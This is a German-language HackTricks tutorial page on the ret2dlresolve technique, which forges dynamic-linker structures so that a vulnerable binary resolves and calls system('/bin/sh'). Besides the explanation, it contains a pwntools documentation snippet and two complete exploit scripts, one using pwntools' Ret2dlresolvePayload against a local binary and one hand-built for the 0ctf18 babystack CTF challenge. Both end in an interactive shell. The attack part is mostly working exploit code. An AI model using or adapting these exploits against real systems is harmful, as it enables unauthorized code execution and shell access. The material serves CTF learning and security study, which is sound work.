Ret2dlresolve

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundinformationen

Wie auf der Seite über GOT/PLT und Relro erklärt, lösen Binaries ohne Full Relro Symbole (wie Adressen zu externen Bibliotheken) beim ersten Gebrauch auf. Diese Auflösung erfolgt durch den Aufruf der Funktion _dl_runtime_resolve.

Die Funktion _dl_runtime_resolve benötigt vom Stack Referenzen zu einigen Strukturen, um das angegebene Symbol zu lösen.

Daher ist es möglich, alle diese Strukturen zu fälschen, um die dynamische Verknüpfung des angeforderten Symbols (wie die Funktion system) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. system('/bin/sh')) aufzurufen.

In der Regel werden alle diese Strukturen gefälscht, indem eine anfängliche ROP-Kette erstellt wird, die read über einen beschreibbaren Speicher aufruft, dann werden die Strukturen und der String '/bin/sh' übergeben, sodass sie durch read an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie _dl_runtime_resolve aufruft, um die Adresse von system in den gefälschten Strukturen zu lösen und diese Adresse mit der Adresse zu $'/bin/sh' aufzurufen.

tip

Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie ret2syscall oder SROP zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.

Schau dir dieses Video für eine schöne Erklärung zu dieser Technik in der zweiten Hälfte des Videos an:

- YouTube

Oder schau dir diese Seiten für eine Schritt-für-Schritt-Erklärung an:

Angriffsübersicht

  1. Falsche Strukturen an einem Ort schreiben
  2. Das erste Argument von system setzen ($rdi = &'/bin/sh')
  3. Die Adressen zu den Strukturen auf dem Stack setzen, um _dl_runtime_resolve aufzurufen
  4. Rufe _dl_runtime_resolve auf
  5. system wird aufgelöst und mit '/bin/sh' als Argument aufgerufen

Aus der pwntools-Dokumentation sieht ein ret2dlresolve-Angriff so aus:

python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"]) >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like >>> rop.ret2dlresolve(dlresolve) >>> raw_rop = rop.chain() >>> print(rop.dump()) 0x0000: 0x400593 pop rdi; ret 0x0008: 0x0 [arg0] rdi = 0 0x0010: 0x400591 pop rsi; pop r15; ret 0x0018: 0x601e00 [arg1] rsi = 6299136 0x0020: b'iaaajaaa' <pad r15> 0x0028: 0x4003f0 read 0x0030: 0x400593 pop rdi; ret 0x0038: 0x601e48 [arg0] rdi = 6299208 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index]

Beispiel

Pure Pwntools

Sie können ein Beispiel dieser Technik hier finden mit einer sehr guten Erklärung der finalen ROP-Kette, aber hier ist der finale Exploit, der verwendet wurde:

python
from pwn import * elf = context.binary = ELF('./vuln', checksec=False) p = elf.process() rop = ROP(elf) # create the dlresolve object dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) rop.raw('A' * 76) rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset log.info(rop.dump()) p.sendline(rop.chain()) p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in p.interactive()

Roh

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack from pwn import * target = process('./babystack') #gdb.attach(target) elf = ELF('babystack') # Establish starts of various sections bss = 0x804a020 dynstr = 0x804822c dynsym = 0x80481cc relplt = 0x80482b0 # Establish two functions scanInput = p32(0x804843b) resolve = p32(0x80482f0) #dlresolve address # Establish size of second payload payload1_size = 43 # Our first scan # This will call read to scan in our fake entries into the plt # Then return back to scanInput to re-exploit the bug payload0 = "" payload0 += "0"*44 # Filler from start of input to return address payload0 += p32(elf.symbols['read']) # Return read payload0 += scanInput # After the read call, return to scan input payload0 += p32(0) # Read via stdin payload0 += p32(bss) # Scan into the start of the bss payload0 += p32(payload1_size) # How much data to scan in target.send(payload0) # Our second scan # This will be scanned into the start of the bss # It will contain the fake entries for our ret_2_dl_resolve attack # Calculate the r_info value # It will provide an index to our dynsym entry dynsym_offset = ((bss + 0xc) - dynsym) / 0x10 r_info = (dynsym_offset << 8) | 0x7 # Calculate the offset from the start of dynstr section to our dynstr entry dynstr_index = (bss + 28) - dynstr paylaod1 = "" # Our .rel.plt entry paylaod1 += p32(elf.got['alarm']) paylaod1 += p32(r_info) # Empty paylaod1 += p32(0x0) # Our dynsm entry paylaod1 += p32(dynstr_index) paylaod1 += p32(0xde)*3 # Our dynstr entry paylaod1 += "system\x00" # Store "/bin/sh" here so we can have a pointer ot it paylaod1 += "/bin/sh\x00" target.send(paylaod1) # Our third scan, which will execute the ret_2_dl_resolve # This will just call 0x80482f0, which is responsible for calling the functions for resolving # We will pass it the `.rel.plt` index for our fake entry # As well as the arguments for system # Calculate address of "/bin/sh" binsh_bss_address = bss + 35 # Calculate the .rel.plt offset ret_plt_offset = bss - relplt paylaod2 = "" paylaod2 += "0"*44 paylaod2 += resolve # 0x80482f0 paylaod2 += p32(ret_plt_offset) # .rel.plt offset paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh" target.send(paylaod2) # Enjoy the shell! target.interactive()

Weitere Beispiele & Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks